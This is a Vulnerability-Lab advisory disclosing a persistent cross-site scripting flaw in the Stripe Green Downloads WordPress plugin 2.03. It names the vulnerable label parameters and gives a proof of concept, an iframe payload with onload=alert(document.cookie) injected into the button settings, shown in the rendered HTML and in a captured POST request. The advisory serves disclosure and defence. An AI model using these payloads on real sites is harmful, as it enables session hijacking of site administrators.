Document Title:
===============
Stripe Green Downloads 2.03 - Cross Site Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2287
Release Date:
=============
2022-10-17
Vulnerability Laboratory ID (VL-ID):
====================================
2287
Common Vulnerability Scoring System:
====================================
5.2
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Easily configure the plugin to accept payments through Stripe with Strong
Customer Authentication. Easily style payment button
with overall styling settings. Tons of options for any needs. Host files in
secured folder, Media Library (WordPress plugin only)
or anywhere on your server. Send custom email notifications to buyer and
administrator after successful payments. Collect statistics
of button impressions, payments and downloads for any file for any period.
(Copy of the Homepage:https://halfdata.com/green-downloads/stripe/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross
site vulnerability in the Stripe Green Downloads web-application and wordpress
plugin.
Affected Product(s):
====================
halfdata
Product: Stripe Green Downloads - Admin Panel v1.0 (Web-Application)
Product: Stripe Green Downloads - Wordpress Plugin 2.03 (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2022-10-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Moderator Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the
Stripe Green Downloads web-application and wordpress plugin v2.03.
The vulnerability allows remote attackers to inject own malicious script codes
with persistent attack vector to compromise browser to
web-application requests from the application-side.
The persistent xss web vulnerability is located in the `Label`, `Processing
label` and `Download label` input fields of the
`Green Downloads - Settings - Button` module. Attackers with local privileged
to access the panel are able to inject own
malicious script code to the button that executes the content in the preview
context. The request method to inject is post
and the attack vector is persistent on the application-side. The vulnerable
parameters are `idcore-button-label`,
`idcore-button-label-processing` and `idcore-button-label-download`.
Successful exploitation of the vulnerability results in session hijacking,
non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of
affected application modules.
Vulnerable Module(s):
[+] Green Downloads - Settings - Button
Vulnerable Input(s):
[+] Label
[+] Processing label
[+] Download label
Vulnerable Parameter(s):
[+] idcore-button-label
[+] idcore-button-label-processing
[+] idcore-button-label-download
Affected Module(s):
[+] Preview (/stripe/script/?page=idcore-settings)
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by
remote attackers with privileged account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability
follow the provided information and steps below to continue.
Vulnerable Source: /stripe/script/?page=idcore-settings
<tbody><tr><td colspan="2"><hr></td></tr>
<tr><th>Preview:</th><td>
<div id="idcore-preview-content" class="idcore-preview-container"><link
href="//x/css?family=Strait:100,200,300,400,500,600,700,800,900&
subset=arabic,vietnamese,hebrew,thai,bengali,latin,latin-ext,cyrillic,cyrillic-ext,greek"
rel="stylesheet"
type="text/css"><style>.idcore-preview-button{font-family:'Strait','arial';font-size:20px;color:#ffffff;font-weight:normal;font-style:normal;
text-decoration:none;text-transform:uppercase;width:250px;height:56px;line-height:56px;background-color:#d4150b;
background-image:linear-gradient(to bottom,rgba(255,255,255,.05)
0,rgba(255,255,255,.05) 50%,rgba(0,0,0,.05) 51%,rgba(0,0,0,.05) 100%);
border-width:1px;border-style:solid;border-color:#d4150b;border-radius:3px;box-shadow:
2px 2px 0px 0px rgba(68, 68, 68, 0.2);}</style>
<span id="idcore-preview-button" class="idcore-preview-button
idcore-preview-button-shift-down" onclick="return idcore_switch_preview_button_state();"
data-label="Buy Now:>"<iframe src=evil.source onload=alert(document.cookie)>
5.00 USD"
data-label-processing="Processing...>"<iframe src=evil.source
onload=alert(document.cookie)>"
data-label-download="Download Now!>"<iframe src=evil.source
onload=alert(document.cookie)>"
data-state="3">Download Now!>"<iframe src="evil.source"
onload="alert(document.cookie)"></iframe></span></div>
</td></tr></tbody>
--- PoC Session Logs (POST) ---
https://green-downloads.localhost:8080/green-downloads/demo/stripe/script/ajax.php
Host: green-downloads.localhost:8080
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4829
Origin:https://green-downloads.localhost:8080
Connection: keep-alive
Referer:https://green-downloads.localhost:8080/green-downloads/demo/stripe/script/?page=idcore-settings
Cookie: uap-auth=njqYqYrjVyg7aWCO;
__stripe_mid=2939b7be-7000-43b1-9940-d26f391ae745ab4b3a;
__stripe_sid=0813d899-c76d-4b14-832d-d55565cd96dbdc938
Post: Admin Panel&idcore-button-label=Buy Now:>"<iframe src=evil.source
onload=alert(document.cookie)> {price} {currency}
&idcore-button-label-processing=Processing...>"<iframe src=evil.source
onload=alert(document.cookie)>
&idcore-button-label-download=Download Now!>"<iframe src=evil.source
onload=alert(document.cookie)>&idcore-button-size=fixed&idcore-button-width=250
&idcore-button-height=56&idcore-button-padding-top=16&idcore-button-padding-right=32&idcore-button-padding-bottom=16
&idcore-button-padding-left=32&idcore-responsiveness-size=480&idcore-responsiveness-custom=480&idcore-button-text-family=Strait
&idcore-button-text-size=20&idcore-button-text-transform=uppercase&idcore-button-text-color=#ffffff&idcore-button-background-image=
&idcore-button-background-size=auto&idcore-button-background-hposition=left&idcore-button-background-vposition=top
&idcore-button-background-repeat=repeat&idcore-button-background-color=#d4150b&idcore-button-background-gradient=2shades&idcore-button-background-color2=
&idcore-button-border-width=1&idcore-button-border-style=solid
&idcore-button-border-radius=3&idcore-button-border-left=on&idcore-button-border-top=on&idcore-button-border-bottom=on
&idcore-button-border-right=on&idcore-button-border-color=#d4150b&idcore-button-shadow-size=small&idcore-button-shadow-style=solid
&idcore-button-shadow-color=rgba(68, 68, 68,
0.2)&idcore-button-hover-inherit=on&idcore-button-hover-text-family=Strait&idcore-button-hover-text-size=20
&idcore-button-hover-text-transform=uppercase&idcore-button-hover-text-color=#ffffff&idcore-button-hover-background-image=
&idcore-button-hover-background-size=auto&idcore-button-hover-background-hposition=left&idcore-button-hover-background-vposition=top
&idcore-button-hover-background-repeat=repeat&idcore-button-hover-background-color=#d4150b&idcore-button-hover-background-gradient=2shades
&idcore-button-hover-background-color2=&idcore-button-hover-border-width=1&idcore-button-hover-border-style=solid&idcore-button-hover-border-radius=3
&idcore-button-hover-border-left=on&idcore-button-hover-border-top=on&idcore-button-hover-border-bottom=on&idcore-button-hover-border-right=on
&idcore-button-hover-border-color=#d4150b&idcore-button-hover-shadow-size=small&idcore-button-hover-shadow-style=solid
&idcore-button-hover-shadow-color=rgba(68, 68, 68,
0.2)&idcore-button-active-inherit=on&idcore-button-active-text-family=Strait&idcore-button-active-text-size=20
&idcore-button-active-text-transform=uppercase&idcore-button-active-text-color=#ffffff&idcore-button-active-background-image=
&idcore-button-active-background-size=auto&idcore-button-active-background-hposition=left&idcore-button-active-background-vposition=top
&idcore-button-active-background-repeat=repeat&idcore-button-active-background-color=#d4150b&idcore-button-active-background-gradient=2shades
&idcore-button-active-background-color2=&idcore-button-active-border-width=1&idcore-button-active-border-style=solid&idcore-button-active-border-radius=3
&idcore-button-active-border-left=on&idcore-button-active-border-top=on&idcore-button-active-border-bottom=on&idcore-button-active-border-right=on
&idcore-button-active-border-color=#d4150b&idcore-button-active-shadow-size=small&idcore-button-active-shadow-style=solid
&idcore-button-active-shadow-color=rgba(68, 68, 68,
0.2)&idcore-button-active-transform=shift-down&idcore-amazon-access-key=&idcore-amazon-secret-key=
&idcore-amazon-bucket=&idcore-error-invalid-link=Invalid download
link.&idcore-error-expired-link=Download link expired.
&idcore-error-no-file=File does not
exist.&idcore-link-lifetime=72&idcore-csv-separator=;&idcore-cross-domain-enable=on&idcore-admin-menu-stats=on
&action=idcore-update-settings&idcore_version=2
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 68
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the
stripe application and wordpress plugin is estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab [Research Team]
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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=========================
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